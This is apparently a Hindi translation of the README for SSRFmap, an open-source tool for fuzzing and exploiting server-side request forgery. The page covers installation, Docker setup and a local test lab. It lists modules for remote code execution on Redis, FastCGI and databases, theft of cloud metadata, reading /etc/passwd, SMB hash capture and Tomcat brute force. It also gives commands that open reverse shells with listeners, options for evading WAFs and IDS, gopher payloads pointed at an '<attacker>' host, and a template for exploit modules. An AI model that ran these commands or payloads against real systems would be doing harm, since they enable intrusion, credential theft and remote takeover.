
स्वचालित SSRF fuzzer और शोषण उपकरण
SSRF का उपयोग अक्सर अन्य सेवाओं पर कार्रवाई को बढ़ावा देने के लिए किया जाता है, यह फ्रेमवर्क इन सेवाओं को आसानी से खोजने और उनका शोषण करने का लक्ष्य रखता है। SSRFmap इनपुट के रूप में एक Burp अनुरोध फ़ाइल लेता है और फ़ज़ करने के लिए एक पैरामीटर लेता है।
सर्वर साइड रिक्वेस्ट फोर्जरी या SSRF एक ऐसी कमजोरी है जिसमें कोई हमलावर सर्वर को अपनी ओर से अनुरोध करने के लिए मजबूर करता है।
निम्नलिखित मॉड्यूल पहले से लागू हैं और -m आर्गुमेंट के साथ उपयोग किए जा सकते हैं।
| नाम | विवरण |
|---|---|
axfr | DNS ज़ोन ट्रांसफर (AXFR) |
fastcgi | FastCGI RCE |
redis | Redis RCE |
github | Github Enterprise RCE < 2.8.7 |
zabbix | Zabbix RCE |
mysql | MySQL कमांड निष्पादन |
postgres | Postgres कमांड निष्पादन |
docker | Docker API के माध्यम से जानकारी का रिसाव |
smtp | SMTP मेल भेजें |
portscan | होस्ट के लिए शीर्ष 8000 पोर्ट स्कैन करें |
networkscan | नेटवर्क पर HTTP Ping स्वीप |
readfiles | /etc/passwd जैसी फ़ाइलें पढ़ें |
alibaba | प्रदाता से फ़ाइलें पढ़ें (जैसे: मेटा-डेटा, यूज़र-डेटा) |
aws | प्रदाता से फ़ाइलें पढ़ें (जैसे: मेटा-डेटा, यूज़र-डेटा) |
gce | प्रदाता से फ़ाइलें पढ़ें (जैसे: मेटा-डेटा, यूज़र-डेटा) |
digitalocean | प्रदाता से फ़ाइलें पढ़ें (जैसे: मेटा-डेटा, यूज़र-डेटा) |
socksproxy | SOCKS4 प्रॉक्सी |
smbhash | UNC पथ के माध्यम से SMB प्रमाणीकरण को मजबूर करें |
tomcat | Tomcat Manager के विरुद्ध ब्रूटफोर्स हमला |
Github रिपॉजिटरी से।
$ git clone https://github.com/swisskyrepo/SSRFmap
$ cd SSRFmap/
$ pip3 install -r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
[-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
[--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
optional arguments:
-h, --help show this help message and exit
-r REQFILE SSRF Request file
-p PARAM SSRF Parameter to target
-m MODULES SSRF Modules to enable
-l HANDLER Start an handler for a reverse shell
-v [VERBOSE] Enable verbosity
--lhost LHOST LHOST reverse shell or IP to target in the network
--lport LPORT LPORT reverse shell or port to target in the network
--uagent USERAGENT User Agent to use
--ssl [SSL] Use HTTPS without verification
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
--level [LEVEL] Level of test to perform (1-5, default: 1)
Docker
$ git clone https://github.com/swisskyrepo/SSRFmap
$ docker build --no-cache -t ssrfmap .
$ docker run -it ssrfmap ssrfmap.py [OPTIONS]
$ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
सबसे पहले आपको फ़ज़ करने के लिए एक पैरामीटर वाले अनुरोध की आवश्यकता है, Burp अनुरोध SSRFmap के साथ अच्छी तरह से काम करते हैं। उन्हें निम्नलिखित जैसा दिखना चाहिए। ./examples फ़ोल्डर में अधिक उदाहरण उपलब्ध हैं।
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1
url=https%3A%2F%2Fwww.google.fr
-m के बाद मॉड्यूल का नाम (यदि आप एक से अधिक मॉड्यूल चलाना चाहते हैं तो , द्वारा अलग किया गया) का उपयोग करें।
# लोकलहोस्ट पर पोर्टस्कैन लॉन्च करें और डिफ़ॉल्ट फ़ाइलें पढ़ें
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan
यदि आप हेडर, GET या POST पैरामीटर के अंदर इंजेक्ट करना चाहते हैं, तो आपको केवल पैरामीटर नाम निर्दिष्ट करने की आवश्यकता है
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test
यदि आपको कस्टम यूज़र-एजेंट की आवश्यकता है तो --uagent का उपयोग करें। कुछ लक्ष्य HTTPS का उपयोग करेंगे, आप इसे --ssl से सक्षम कर सकते हैं।
# कस्टम यूज़र-एजेंट का उपयोग करके HTTPS एंडपॉइंट के विरुद्ध पोर्टस्कैन लॉन्च करें
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
कुछ मॉड्यूल आपको कनेक्ट बैक बनाने की अनुमति देते हैं, आपको LHOST और LPORT निर्दिष्ट करना होगा। SSRFmap आने वाले रिवर्स शेल को भी सुन सकता है।
# Redis पर रिवर्स शेल ट्रिगर करना
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242
# -l निर्दिष्ट पोर्ट पर रिवर्स शेल के लिए एक लिसनर बनाता है
# --lhost और --lport Metasploit की तरह काम करते हैं, इन मानों का उपयोग रिवर्स शेल पेलोड बनाने के लिए किया जाता है
जब लक्ष्य WAF या कुछ फ़िल्टर द्वारा संरक्षित होता है तो आप --level पैरामीटर के साथ पेलोड और एन्कोडिंग की एक विस्तृत श्रृंखला आज़मा सकते हैं।
# --level : कुछ IDS/WAF को बायपास करने के लिए पेलोड को ट्वीक करने की क्षमता। उदा: 127.0.0.1 -> [::] -> 0000: -> ...
फ्रेमवर्क का परीक्षण करने का एक त्वरित तरीका data/example.py SSRF सेवा के साथ किया जा सकता है।
स्थानीय
FLASK_APP=examples/example.py flask run &
python ssrfmap.py -r examples/request.txt -p url -m readfiles
Docker
docker build --no-cache -t ssrfmap .
# उदाहरण ssrf http सेवा चलाएं
docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
# उदाहरण ssrf dns सेवा चलाएं
docker exec -u root:root -it example python examples/ssrf_dns.py
# ssrfmap उपकरण चलाएं
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
परीक्षण अनुरोध लॉन्च करें:
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
मुझे पुल रिक्वेस्ट पसंद हैं :) नीचे सूचीबद्ध किसी भी सुविधा या किसी नई सेवा को जोड़ने के लिए स्वतंत्र महसूस करें।
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
निम्नलिखित कोड एक टेम्पलेट है यदि आप किसी सेवा के साथ इंटरैक्ट करने वाला मॉड्यूल जोड़ना चाहते हैं।
from core.utils import *
import logging
name = "सेवा का नाम लोअरकेस में"
description = "ServiceName RCE - यह क्या करता है"
author = "लेखक का नाम या छद्म नाम"
documentation = ["http://शोध_से_लिंक", "http://दूसरा_लिंक"]
class exploit():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__(self, requester, args):
logging.info("Module '{}' launched !".format(name))
# रिवर्स शेल के लिए आर्गुमेंट हैंडल करें
if args.lhost == None: self.SERVER_HOST = input("Server Host:")
else: self.SERVER_HOST = args.lhost
if args.lport == None: self.SERVER_PORT = input("Server Port:")
else: self.SERVER_PORT = args.lport
# सेवा के लिए डेटा
# होस्ट सूची बनाने के लिए जनरेटर का उपयोग करना
# यदि आपको किसी और चीज़ को लक्षित करने की आवश्यकता है तो निम्नलिखित ip संपादित करें
gen_host = gen_ip_list("127.0.0.1", args.level)
for ip in gen_host:
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher(data, ip , port)
# रिवर्स शेल के लिए आर्गुमेंट हैंडल करें
payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
# पेलोड भेजें
r = requester.do_request(args.param, payload)
आप IRL बीयर या Github स्पॉन्सर बटन के माध्यम से भी योगदान कर सकते हैं।
custom | सुनने वाली सेवा पर कस्टम डेटा भेजें, जैसे: netcat |
memcache | memcache इंस्टेंस के अंदर डेटा स्टोर करें |